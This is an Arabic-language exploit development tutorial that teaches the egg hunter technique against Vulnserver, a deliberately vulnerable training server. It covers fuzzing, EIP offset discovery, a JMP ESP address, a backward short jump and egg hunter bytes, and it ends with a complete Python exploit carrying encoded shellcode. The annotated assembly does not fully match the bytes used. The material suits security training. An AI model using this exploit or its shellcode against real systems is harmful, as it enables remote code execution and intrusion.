05 - Egg Hunters

05 - Egg Hunters

=====================================================
Egg Hunters
=====================================================

قد يحدث أحيانا خلال عملية الـ Exploitation أن لا يتوفر مكان كافي لاستيعاب الـ Shellcode بأكمله بمعنى أن الـ Buffer الذي نقوم بإرساله يصبح موزعا على أماكن متفرقة من الذاكرة. لحل هذه المشكلة يتم استخدام ما يعرف بالـ Egg Hunting. يمكننا القول ببساطة أن الـ Egg Hunting Technique يقوم بتقسيم الـ Shellcode إلى جزئين.

- الجزء الأول يطلق عليه Egg Hunter وهو ليس إلا code ذو مساحة صغيرة كل وظيفته أن يقوم بالبحث في جميع أنحاء الذاكرة عن String معين (يطلق عليه marker أو tag) وبمجرد العثور عليه فإنه يتم الإنتقال (عن طريق JMP) لتنفيذ الـ Instructions الموجودة بعد هذا الـ String

-الجزء الثاني ويطلق عليه الـ Egg وهو الـ Shellcode النهائي الذي نريد تنفيذه (مثل reverse shell) مسبوقا بالـ marker الذي سيقوم الـ Hunter بالبحث عنه. إذا يمكننا القول أن egg = marker + final shellcode

هناك أكثر من طريقة أو Implementation لتنفيذ الـ Egg Hunting بعضها يعمل على الـ Linux والبعض الآخر يعمل على الـ Windows وللتوسع أكثر في قراءة المزيد عن ذلك، ينصح بمراجعة هذا البحث . للتبسيط سنناقش طريقة واحدة فقط من المستخدمين بالـ Windows (يطلق عليها NtAccessCheckAndAuditAlarm) وهي مماثلة تماما للـ NtDisplayString الموجودة بالبحث ولكن مع اختلاف طفيف.

سنستخدم Vulnserver للتطبيق العملي على جزئية الـ Egg Hunting. وهو Application قام بكتابته Stephen Bradshaw للتدرب على مهارات الـ Exploitation. لنبدأ بتشغيل الـ Application من داخل الـ Folder الموجود به "vulnserver-master" ثم نقوم بعمل Attach له من داخل Immunity. يقوم الـ Application بعمل Listen على Port رقم 9999 ولعمل connection سنستخدم netcat

1.png


2.png

كما نرى فإن الـ Application يعمل كـ Server ويمكن عمل Interaction معه عن طريق الأوامر الموضحة أعلاه. كالعادة تكون البداية دائما بعمل Fuzzing وسنقوم باستخدام Spike لتلك المهمة. يجب علينا بداية تشغيل Wireshark خلال التواصل مع الـ Application لمعرفة شكل الـ Request الذي سنقوم بمحاكاته خلال عملية الـ Fuzzing.




بناءا على ما سبق، يمكننا استخدام Spike Template كالآتي


Code:
s_readline();
s_string("KSTET ");
s_string_variable("FUZZ_POINT");

سيقوم هذا الـ Template بعمل Fuzzing للأمر KSTET. لمعرفة المزيد عن كيفية كتابة Spike Templates يمكن مراجعة هذا المقال

ملحوظة: يمكن عمل Fuzzing لأي أمر آخر غير KSTET ولكننا سنستخدم KSTET لأنه سيمكننا من شرح الـ EggHunting بشكل عملي. لنقم الآن بالبدأ في عملية الـ Fuzzing باستخدام الأمر التالي


Code:
generic_send_tcp 192.168.178.133 9999 template.spk 0 0

مرة أخرى سنلجأ لـ Wireshark لمشاهدة الـ Traffic خلال عملية الـ Fuzzing لتحديد ما هو الـ Request الذي سيتسبب في حدوث Buffer Overflow. من خلال المشاهدة سيتضح لنا أن الـ Request التالي سيتسبب في حدوث Crash


4.png


5.png

بناءا على ما سبق، سنقوم باستخدام الـ Python Script التالي لعمل Trigger للـ Crash


Code:
#!/usr/bin/python
import socket
import os
import sys

host="192.168.178.133"
port=9999

payload = “A” * 5000
buffer = "KSTET /.:/" + payload
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

كما يتضح لنا فقد تمكننا من عمل overwrite للـ EIP ولذلك لم يتبق لنا إلا معرفة الـ Offset الذي نستطيع من خلاله التحكم في محتوى الـ EIP. سنستخدم mona.py مرة أخرى لهذه المهمة. لنبدأ بإنشاء pattern مساحتها 5000Bytes عن طريق الأمر التالي بداخل Immunity


Code:
!mona pattern_create 5000

بعد ذلك نقوم باستبدال الـ Payload في الـ Exploit بهذا الـ Pattern والتي ستكون موجودة في


Code:
C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt

والآن بعد إرسال الـ Exploit, سنقوم باستخدام الأمر التالي لجعل mona.py تساعدنا في تحديد الـ Offset (المكان في الـ Buffer الذي سيمكننا من التحكم في محتوى الـ EIP)


Code:
!mona findsmp

ملحوظة: findmsp ترمز الى Find Metasploit Pattern.

بعد تنفيذ هذا الأمر، كما هي العادة سيتم إنشاء ملف يحتوي على الـ Results بإسم


Code:
C:\Program Files\Immunity Inc\Immunity Debugger\findmsp.txt

سنجد أن الـ EIP يتم التحكم فيه عند Offset رقم 66 كما هو موضح بالأسفل


Code:
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00b6f9ca (length 90 bytes)
    Cyclic pattern (normal) found at 0x003d613a (length 90 bytes)
    EIP contains normal pattern : 0x41326341 (offset 66)
    ESP (0x00b6fa10) points at offset 70 in normal pattern (length 20)
    EBP contains normal pattern : 0x31634130 (offset 62)

لنقم الآن بتعديل الـ Exploit للتأكد من قدرتنا في التحكم في الـ EIP.


Code:
payload = “A” * 66
Payload += “BBBB” #This will overwrite EIP
Payload += “C” * 4930 #keeping the overall length intact
buffer = "KSTET /.:/" + payload
6.png


سنلاحظ أننا استطعنا بالفعل التحكم في EIP كما نلاحظ أيضا أن الـ ESP يوجد به pointer يشير إلى جزء من الـ Buffer عند الـ Offset رقم 70 ولكن المساحة المتاحة لنا هي 20bytes فقط (كما هو موضح عند تنفيذ mona findmsp!) وبالتالي لن تكفي لوضع الـ Shellcode. عادة في مثل هذه المواقف يتم فصل كل مشكلة عن الأخرى وحل كل واحدة من هذه المشاكل على حدة….لنبدأ بالبحث عن أي عنوان بالذاكرة يحتوي على JMP ESP لنقوم بوضع هذا العنوان في الجزء من الـ Buffer الذي يقوم بعمل Overwrite للـ EIP وبالتالي يمكننا التحكم في الـ Execution Flow

يمكننا البحث عن هذا العنوان بطريقتين...إما من داخل Immunity عن طريق Right Click → Search for ---> All Command In All Modules وبعدها كتابة "JMP ESP" للبحث عن هذه الـ Instruction. أو يمكننا استخدام الطريقة الثانية وهي بمساعدة هذا الأمر "mona jmp -r esp!"

ملحوظة: في كل مرة يتم استخدام mona فإنه يتم عرض نتيجة البحث أو تنفيذ الأمر فيما يعرف بالـ Log Window والتي يمكن الوصول إليها في أي وقت بالضغط على ALT + L. كما يمكن العودة للواجهة الأساسية للـ Immunity عن طريق ALT + C. كما أنه يتم إنشاء ملف جديد بنتيجة البحث بداخل C:\Program Files\Immunity Inc\Immunity Debugger في كل مرة.

سنجد العديد من الـ Memory Addresses التي يوجد بها JMP ESP مثل العنوان التالي في حالتنا


Code:
0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\Desktop\vulnserver-master\essfunc.dll)

الآن لنقم بتعديل الـ Exploit لوضع هذا العنوان في الجزء الذي سيقوم بعمل overwrite للـ EIP


Code:
payload = "A" * 66
payload += "\xAF\x11\x50\x62"   #0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll]
payload += "C" * 4930

عند إرسال الـ Exploit سيحدث ما يلي:
-حدوث Buffer Overflow وعمل Overwrite للـ EIP بالعنوان 0x625011af
-سيقوم الـ CPU بالذهاب لهذا العنوان لتنفيذ الأمر الموجود فيه (وهو JMP ESP)
-سيقوم الـ CPU بالانتقال مرة أخرى للعنوان الموجود بداخل الـ ESP لتنفيذ الأمر الموجود فيه (حاليا لا يوجد سوى مجموعة من الـ "CCCC" )

ولكن قبل إرسال الـ Exploit, لنقم بوضع BreakPoint عند العنوان 0x625011af للتأكد من أن كل شئ يعمل بشكل صحيح. طبقا للخطوات السابقة سيقوم الـ CPU بالذهاب لهذا العنوان لتنفيذ ما فيه وبالتالي إذا حدث Hit للـ BreakPoint فإن ذلك يعني أن كل شئ يعمل بشكل صحيح

ملحوظة: للذهاب لعنوان ما ووضع BreakPoint نقوم بالضغط على "Go to Address in Disassembler" ثم وضع العنوان المراد البحث عنه ثم الضغط على F2 لوضع Breakpoint



7.png

كما نرى فإن كل شئ يعمل كما هو متوقع. لنقم الآن بالضغط على F8 لتنفيذ الـ JMP ESP وحينئذ سنجد أن لدينا 20Bytes فقط وهي مساحة لا تكفي بالتأكيد لوضع الـ Shellcode (عادة نحتاج لما يقرب من 350Bytes).



8.png

لحل هذه المشكلة ، لابد من فهم شكل الـ Stack في وضعنا الحالي بعد تنفيذ JMP ESP


9.png


سنلاحظ أن لدينا 20Bytes فقط (حيث يتواجد CCCCC) ولكن سنلاحظ أيضا أنه يوجد مساحة أكبر قليلا في أعلى الـ Stack (حيث يتواجد AAAAAAAA). ماذا لو استطعنا القفز للخلف في الـ Stack ؟ الإجابة أنه سيكون لدينا مساحة أكبر الآن نستطيع وضع ما نريد بها من Instructions ليتم تنفيذها ولكن من الواضح أيضا أن تلك المساحة لن تكفي لاستضافة الـ Shellcode.

كما اتفقنا سابقا، سنركز فقط على مشكلة واحدة وبعد حلها سننتقل للتي تليها. بهذه الطريقة نستطيع عمل Breakdown للمشاكل المعقدة بطرق غير تقليدية. الآن لنقم باستبدال هذه المجموعة من الـ "CCCCCCCC" بـ Instruction تقوم بعمل Backward Jump لتحويل الـ Execution لأعلى الـ Stack. للقيام بذلك سنقوم باستخدام الـ Opcode التالي : xeb\ والذي يستخدم في حالة Forward Short JMP أو Backward Short JMP. ويتم تحديد هل سيتم القفز للأمام أو للخلف بناءا على الرقم الموجود بعد الـ xeb\. لفهم كيفية عمل الـ Short JMP، يمكن الرجوع لهذا المقال

لمعرفة عدد الـ Bytes التي نرغب بعمل JMP لها سنقوم بالضغط مرتين داخل الـ Stack على العنوان الذي نقف عنده حاليا وسيقوم الـ Debugger تلقائيا بعرض بقية العناوين حسب بعدها عن المكان الحالي (Relative Addresses)



10.png

كما نرى فإن المكان الذي نريد القفز إليه على بعد 48- ولكن هذه القيمة ممثلة بالـ Hex والتي تعني 72 بالـ Decima. بعد أن عرفنا عدد الـ Bytes التي نود عمل JMP لها لم يتبق إلا معرفة كيفية ترجمة ذلك لـ Opcode صحيح لاستخدامها مع xeb\ التي ذكرناها سابقا. للتسهيل يمكن استخدام الأمر التالي لتحويل الـ 72 إلى القيمة التي سيتم وضعها بعد الـ xeb\


Code:
printf "%x\n" -72

والذي سيعطينا الناتج التالي "ffffffffffffffb8". إذا فإن b8 هي القيمة التي سنستخدمها بعد xeb\ لتنفيذ الـ Reverse JMP وسيكون الأمر النهائي كما يلي:


Code:
\xeb\xb8

لنعدل الـ Exploit كما يلي:


Code:
payload = "A" * 66
payload += "\xAF\x11\x50\x62"   #0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll]
Payload += “\xeb\xb8\x90\x90” #Reverse Jmp padded with 2 NOPs
payload += "C" * 4926


الآن أصبح لدينا ما يقرب من 64Bytes لاستخدامها كما نشاء ولكن بقي لنا إجابة السؤال الأهم وهو أين المكان الذي سنضع به الـ Shellcode حيث أن 64Bytes مازالت لا تكفي للـ Shellcode.

لاحظنا سابقا أن الـ Application يمكن التواصل معه عن طريق مجموعة من الأوامر مثل STATS, RTIME, LTIME, SRUN, TRUN. ماذا لو استطعنا عمل الآتي:

-أولا: إرسال الـ Shellcode مسبوقا بالـ Marker عن طريق أحد الأوامر الأخرى المتاحة ليتم تخزينه في الذاكرة في أي مكان.
-ثانيا: استخدام الـ 64Bytes المتاحة لدينا لوضع EggHunter بها.
-ثالثا: إرسال الـ Exploit وتنفيذ الـ EggHunter للبحث في جميع أنحاء الذاكرة عن الـ Shellcode الذي أرسلناه سابقا ومن ثم تنفيذه

علينا إذا أن نجد الأمر الذي يمكننا من إرسال الـ Shellcode مسبوقا بالـ Marker والإحتفاظ به في الذاكرة….لنبدأ بأول أمر وهو STATS. سنستخدم الـ Code الآتي:


Code:
#!/usr/bin/python
import socket
import os
import sys

host="192.168.178.133"
port=9999

marker= "w00tw00t"
shellcode= "A" * 500
buffer = "STATS " + marker + shellcode

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

كما هي العادة، سنقوم بعمل Run للـ Application بداخل Immunity قبل إرسال الـ Code. بعد الإرسال، يجب علينا أن نبحث في الذاكرة هل يتواجد بالفعل الـ Shellcode الذي قمنا بإرساله ؟ للقيام بذلك سنستخدم الأمر التالي بداخل mona


Code:
!mona find -type asc -s "w00tw00t"

هذا الأمر سيقوم بالبحث في جميع أنحاء الذاكرة عن الـ String المكون من "w00tw00t" (والذي نستخدمه كـ Marker في حالتنا) وستكون نتيجة البحث كما يلي


11.png

12.png


كما نرى في الصورة الأولي فإنه قد تم العثور على الـ Marker في مكانين مختلفين بالـ Heap ولرؤية المحتوى الموجود في كل منهما Right Click ---> Dump at Address والذي سيوضح لنا كما في الصورة الثانية وجود الـ Marker متبوعا بالـ "AAAAAA" التي قمنا بإرسالها….الآن لننتقل للخطوة الثانية وهي وضع الـ EggHunter في الـ Exploit الأصلية. سنقوم باستخدام الـ EggHunter التالي



Code:
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

ما يلي شرح سريع لكيفية عمل الـ Egg Hunter


Code:
entry:
loop_inc_page:
    or    dx, 0x0fff       // loop through memory pages by adding 4095 decimal or PAGE_SIZE-1 to edx
loop_inc_one:
    inc   edx              // loop through addresses in the memory page one by one

make_syscall:
    push  edx              // push edx value (current address) onto the stack to save for future reference
    push  0x43             // push 0x43 (the Syscall ID for NtDisplayString) onto the stack
    pop   eax              // pop 0x43 into eax to use as the parameter to syscall
    int   0x2e             // issue the interrupt to call NtDisplayString kernel function
check_is_valid:
    cmp   al, 0x05         // compare low order byte of eax to 0x5 (5 = access violation)
    pop   edx              // restore edx from the stack
    jz    loop_inc_page    // if the zf flag was set by cmp instruction there was an access violation
                           // and the address was invalid so jmp back to loop_inc_page

is_egg:
    mov   eax, 0x444e5750  // if the address was valid, move the egg into eax for comparison
    mov   edi, edx         // set edi to the current address pointer in edx for use in the scasd instruction
    scasd                  // compares value in eax to dword value addressed by edi (current address pointer)
                           // and sets EFLAGS register accordingly; after scasd comparison,
                           // EDI is automatically incremented by 4 if DF flag is 0 or decremented if flag is 1
    jnz   loop_inc_one     // egg not found? jump back to loop_inc_one
    scasd                  // first 4 bytes of egg found; compare the dword in edi to eax again
                           // (remember scasd automatically advanced by 4)
    jnz   loop_inc_one     // only the first half of the egg was found; jump back to loop_inc_one

found:
    jmp   edi              //egg found!; thanks to scasd, edi now points to shellcode

ينصح بمراجعة هذا البحث للتوسع في فهم كيفية عمل الـ EggHunter.

.إذا لم يتبق إلا تعديل الـ Exploit الأصلية لوضع الـ EggHunter بها بالإضافة إلى تضمين الجزء الخاص بارسال الـ Shellcode مع الأمر STATS كما يلي


Code:
#!/usr/bin/python
import socket
import os
import sys

host="192.168.178.133"
port=9999

marker="w00tw00t"
shellcode = "A" * 500
payload1= marker + shellcode

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30"
"\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

buffer = egghunter + ("A" * (66-len(egghunter)))
buffer += "\xAF\x11\x50\x62"
buffer += "\xeb\xb8\x90\x90"
buffer += "C" * 4926
payload2 = "KSTET /.:/" + buffer

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send("STATS "+payload1)
expl.recv(1024)
expl.send(payload2)
expl.close()

يمكننا استخدام BreakPoint عند JMP ESP لمشاهدة الـ Execution خطوة بخطوة


13.png

لنقم بوضع BreakPoint عند آخر Instruction في الـ EggHunter وهي JMP EDI


14.png


كل شئ يعمل على ما يرام ولكن هنالك مشكلة أخرى ألا وهي أننا قمنا بإرسال 500A ولكن مانراه أمامنا أقل من ذلك بكثير…..ولكن ما السبب في ذلك...ألم نجرب ذلك سابقا ولم تواجهنا هذه المشكلة ؟ لن نجيب على هذا السؤال وهو متروك كـ Exercise لك لتحدد سبب حدوث ذلك فالإجابة موجودة بالأعلى ولكن تحتاج لبعض التركيز.

للتغلب على هذه المشكلة سنحاول استخدام أمر آخر غير STATS. عمليا سيتوجب عليك تجربة الأوامر واحد تلو الآخر حتى تحصل على النتيجة المرجوة ولكن توفيرا للوقت سنستخدم الأمر GDOG بدلا من STATS. لنقم باستخدام نفس الـ Exploit السابقة كما هي ولكن سنستبدل STATS بـ GDOG.

ستكون النتيجة كما يلي


15.png


كما نرى فإن الـ Payload لم يحدث لها Corruption وأنها وصلت كما هي كما هو موضح من عدد الـ "AAAAA" الذي نراه أمامنا. وبذلك تكون الخطوة النهائية هي استبدال الـ 500A بالـ Shellcode الحقيقي الذي نود استخدامه ليصبح الـ Code النهائي كالآتي:


Code:
#!/usr/bin/python
import socket
import os
import sys

host="192.168.178.133"
port=9999

marker="w00tw00t"
shellcode = ("\xbd\xab\x29\xb1\xba\xda\xc6\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x45\x83\xc2\x04\x31\x6a\x0e\x03\xc1\x27\x53\x4f\xcc\xd3\x08"
"\x69\x9a\x07\xdb\xbb\xb0\xfa\x54\x8d\xfd\x9f\x11\x9c\xcd\xd4"
"\x50\x53\xa6\x9d\x80\xe0\xfe\x69\x32\x88\xde\xe2\x72\x4d\x51"
"\xed\x0f\x5e\x34\x0c\x21\x5f\x27\x6e\x4a\xcc\x83\x4b\xc7\x48"
"\xf7\x18\x83\x7a\x7f\x1e\xc6\xf0\x35\x38\x9d\x5d\xe9\x39\x4a"
"\x82\xdd\x70\x07\x71\x96\x82\xf9\x4b\x57\xb5\xc5\x50\x0b\x32"
"\x05\xdc\x54\xfa\x49\x10\x5b\x3b\xbe\xdf\x60\xbf\x65\x08\xe3"
"\xde\xed\x12\x2f\x20\x19\xc4\xa4\x2e\x96\x82\xe0\x32\x29\x7e"
"\x9f\x4f\xa2\x81\x77\xc6\xf0\xa5\x9b\xb8\x3b\x17\xab\x13\x68"
"\xd1\x4e\xea\x52\x8a\x1e\xa3\x5c\xa7\x4c\xd4\xfe\xc8\x8f\xdb"
"\x88\x72\x6b\x9f\xf5\xa4\x91\xac\x8e\x49\x71\x01\x79\xff\x86"
"\x5a\x86\x89\x3d\xad\x11\xe6\xd1\x8d\xa0\x9e\x1a\xfc\x0c\x3b"
"\x34\x75\x22\xa6\xb6\x45\x1f\xa0\x6a\x82\x95\x38\x74\x9c\x56"
"\x6f\x7c\xa8\x6b\xc0\xc7\x02\xc9\xac\x8b\xd4\x12\x0b\xa1\x32"
"\x75\xac\xba\x3c\xe2\x3d\x3c\x9b\xd3\xa9\xdd\x7c\x71\x68\x75"
"\xce\x1c\x1f\xf6\xe1\x05\x57\xa4\x25\xb0\xe1\xb7\x4e\x8c\xa9"
"\x17\xaf\x64\x2e\x77\xfc\x31\xc6\x27\x75\xd4\x73\xaf\x0b\x49"
"\x14\x0f\x84\xc7\x85\x24\x31\xe9\x8c\x32\xf5\x2d\x1e\xcb\xe7"
"\x1f\xf2\x99\xb4\x0e\xa0\xe2\xeb\x80\x84\x4c\xf3\xb6\x0c")
payload1= marker + shellcode

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

buffer = egghunter + ("A" * (66-len(egghunter)))
buffer += "\xAF\x11\x50\x62"
buffer += "\xeb\xb8\x90\x90"
buffer += "C" * 4926
payload2 = "KSTET /.:/" + buffer

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send("GDOG "+payload1)
expl.recv(1024)
expl.send(payload2)
expl.close()

وتكون النتيجة النهائية هي


16.png

Exercise 1:
Fuzz all commands, identify vulnerable ones and develop a working exploit for each of the vulnerable commands

Exercise 2:
Can you make the exploit work using STATS command ?

Author
Muhammad.Alharmeel
Views
1,877
First release
Last update
Rating
5.00 star(s) 10 ratings

Latest reviews

excelent job, i just didnt understand one thing, you didnt show how you inject the marker in the egghunter code??
مبدع و شرح احترافى
عاش يا بطل
جزاك الله كل خير
بارك الله فيك
Top